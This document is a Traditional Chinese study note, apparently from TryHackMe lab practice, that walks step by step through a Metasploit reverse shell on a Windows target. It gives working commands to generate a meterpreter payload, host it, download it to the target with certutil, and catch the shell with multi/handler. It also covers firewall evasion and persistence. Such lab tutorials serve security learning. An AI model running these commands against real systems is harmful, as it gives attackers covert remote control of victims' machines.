---
# System prepended metadata

title: 使用Metasploit 執行反向 shell 連接
tags: [Penetration Test, linux, windows]

---

# 使用Metasploit 執行反向 shell (reverse shell) 連接

> <span style="color: red;font-size:20px">「此筆記旨在提升個人資訊安全技能，所有演練均基於模擬環境進行，絕不涉及任何非法入侵或破壞他人系統之行為。請遵循《[妨害電腦使用罪](https://mojlaw.moj.gov.tw/LawContent.aspx?LSID=FL001424&lawNumber=358&TypeSort=2)》條款，務必保持行為合法合規。」
> (因本人使用 [tryhackme.com](https://tryhackme.com/) 網站練習，故直接使用該環境來記錄筆記)</span>

### 甚麼是Metasploit(msf)?

Metasploit 框架是一個強大的開源滲透測試平台，用於發現和利用系統漏洞。它提供了許多工具和資源，使安全專家可以模擬攻擊，評估系統的安全性，而且支持各種系統與平台，在很多地方都能使用。

總之它的功能性超級強大，要介紹的話篇幅可能不太夠(~~絕對不是我懶~~)，之後心血來潮的話再寫一篇來介紹~~

若使用kali linux的話 內建就能直接使用了，或到[這邊](https://www.metasploit.com/download)安裝




### 為何要使用反向shell?
* 繞過防火牆:
   因大部分的防火牆或安全設備僅允許內對外進行連接，但限制外對內的連接，故使用反向
   shell可繞過這些設備的限制。
* 隱蔽性:
  因為連接是由目標系統發起的，因此較不容易被檢測或阻止，能夠更好的隱藏攻擊者的活動。
  其實跟第一點差不多(但第一點是不會被阻擋，第二點是不會被察覺)，
* 方便持續存取:
  一旦反向shell成功建立後，可以在目標機器上設置反向shell在開機時自動啟動，或是在特定時間啟動，這樣就算斷開連接後，也能再次連接回去。
  
### 練習環境:
tryhackme的虛擬機，自己建兩台虛擬機也可以達到一樣的操作~

* 攻擊機器IP:10.10.36.43
* 目標機器IP (windows系統) :10.10.5.123
> 可以執行反向shell的方法有很多種，以下只是其中的一種方法~
--------
### 先使用 Metasploit 中的 Msfvenom 來生成反向shell的 payload


使用語法如下:
```
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.36.43 LPORT=6666 -f exe > rev_shell.exe
```
> **備註**：這是生成windows系統的語法，如果目標是其他系統的話，要使用其他的payload。
1. -p 就是指定要使用的 payload
2. LHOST 就是攻擊機器的 IP
3. LPORT 就是攻擊機器的 port 號
4. -f 是指定輸出格式，因目標機器是windows系統，故格式設置成exe (linux為elf)
5. \> rev_shell.exe 把命令輸出到指定的文件上，這是生成的 Payload 文件，目標系統上執行這個文件後，會建立一個反向 shell 連接到攻擊者的機器。
6. 當這個 rev_shell.exe 文件在目標系統上執行時，它會嘗試連接到攻擊機器: 10.10.36.43 的 6666 端口，記得先到攻擊機器開啟接收。

<a href="https://hackmd.io/_uploads/rydFMBkhA.png" target="_blank"><img src="https://hackmd.io/_uploads/rydFMBkhA.png" ></a>

這樣就成功將反向 shell生成好了，下一步就是將反向 shell 放到目標主機上

-----
### 將反向 shell的 payload 放到目標主機上

可以在攻擊機上使用python作為簡易http server，方便目標主機下載
指令:
``` 
python3 -m http.server [port]
```
會因python版本不同 而有指令的差異喔 !!
例如 python2 的指令是:
```
python2 -m SimpleHTTPServer [port]
```
那這邊我們使用python3來示範，使用本機的 port 8888 來作為http server
<a href="https://hackmd.io/_uploads/ByI9dSJn0.png" target="_blank"><img src="https://hackmd.io/_uploads/ByI9dSJn0.png" ></a>


接下來就到目標主機上去下載檔案，在目標主機上可以使用瀏覽器、wget 或是 curl 等等的方式去下載檔案，這邊使用瀏覽器直接下載。

在瀏覽器上直接輸入要下載的伺服器來源及port號
<a href="https://hackmd.io/_uploads/HJAtiryh0.png" target="_blank"><img src="https://hackmd.io/_uploads/HJAtiryh0.png" ></a>

找到要下載的檔案

<a href="https://hackmd.io/_uploads/r1LjsHy3A.png" target="_blank"><img src="https://hackmd.io/_uploads/r1LjsHy3A.png" ></a>

接下來應該就可以在download那邊看到我們的rev_shell.exe檔案了
<a href="https://hackmd.io/_uploads/rkRPnSJhA.png" target="_blank"><img src="https://hackmd.io/_uploads/rkRPnSJhA.png" ></a>

或是使用 windows 內建指令
```
certutil -urlcache -split -f http://10.10.36.43:8888/rev_shell.exe rev_shell.exe 
```

-------
### 到攻擊機上進行最後的配置

然後回到我們的攻擊機上準備設定接收配置，這邊就要使用Metasploit中的mulit/handler功能了~

* multi/handler 是 Metasploit 框架中的一個模組，用於接收和管理來自目標系統的反向連接。它是 Metasploit 中最常用的模組之一。

先啟動msfconsole (中間的圖案每次都會不一樣，可以嘗試看看有哪些圖案XD)
<a href="https://hackmd.io/_uploads/HJvulIknA.png" target="_blank"><img src="https://hackmd.io/_uploads/HJvulIknA.png" ></a>
接下來使用use multi/handler來選擇要使用的模組
<a href="https://hackmd.io/_uploads/SJObb8y3C.png" target="_blank"><img src="https://hackmd.io/_uploads/SJObb8y3C.png" ></a>
先輸入 ```show optiions``` 查看目前選用模組的配置與設定
<a href="https://hackmd.io/_uploads/r101BUk3A.png" target="_blank"><img src="https://hackmd.io/_uploads/r101BUk3A.png" ></a>
先更改payload，我們放在目標機器上的payload是 : windows/meterpreter_reverse_tcp，那我們接收的設定也要設置一樣的 payload

輸入```set payload windows/meterpreter_reverse_tcp```

<a href="https://hackmd.io/_uploads/SJuNGLkn0.png" target="_blank"><img src="https://hackmd.io/_uploads/SJuNGLkn0.png" ></a>

設置完正確的 payload 後再輸入一次 ```show options``` 查看需要的設定，你會發現 payload裡的配置變了，每個 payload 的配置都不一定一樣，要跟著不同的 payload 去設定~
<a href="https://hackmd.io/_uploads/S1u8SIy3R.png" target="_blank"><img src="https://hackmd.io/_uploads/S1u8SIy3R.png" ></a>


接下來設置 LHOST 與 LPORT，那個 L 就是 Local 的意思；
設置攻擊機的 ip 與當初建立反向shell時設定的 port 號，當初生成 payload 時候，設置的 port 號為 6666，那這邊也就設置成 6666

輸入``` set LHOST 10.10.36.43```與```set LPORT 6666```
<a href="https://hackmd.io/_uploads/H1WqXIy3C.png" target="_blank"><img src="https://hackmd.io/_uploads/H1WqXIy3C.png" ></a>

都更改完後再查看一下配置 
```
show options
```
那個 Requird 的選項中，只有yes的是必須要有的參數，其他的按照個人需求配置就好
<a href="https://hackmd.io/_uploads/SJfWL8J20.png" target="_blank"><img src="https://hackmd.io/_uploads/SJfWL8J20.png" ></a>
-----
### 接收從目標機器傳來的連接

接下來就可以執行```run``` 或是```exploit```來準備接收從目標機上傳來的連接了，執行後就會打開port 6666等著連接

![image](https://hackmd.io/_uploads/rkzNPLJh0.png)

再到目標機器上執行剛剛放進去的 payload，可以選擇雙擊兩下打開，或是從cmd中輸入
``` 
.\[檔案名稱]
```
<a href="https://hackmd.io/_uploads/HyKqvLy2R.png" target="_blank"><img src="https://hackmd.io/_uploads/HyKqvLy2R.png" ></a>

<a href="https://hackmd.io/_uploads/HkBEuIy2R.png" target="_blank"><img src="https://hackmd.io/_uploads/HkBEuIy2R.png" ></a>

當你攻擊機的輸入變成meterpreter後，這樣我們就成功建立反向 shell 了~~ 
<a href="https://hackmd.io/_uploads/S1iLOI130.png" target="_blank"><img src="https://hackmd.io/_uploads/S1iLOI130.png" ></a>


>  **<span style="color:#FF0000;font-size:24px">製作這篇筆記是為了記錄學習過程，方便之後回顧，若有任何想法或是發現內容有誤，歡迎留言補充~~</span>**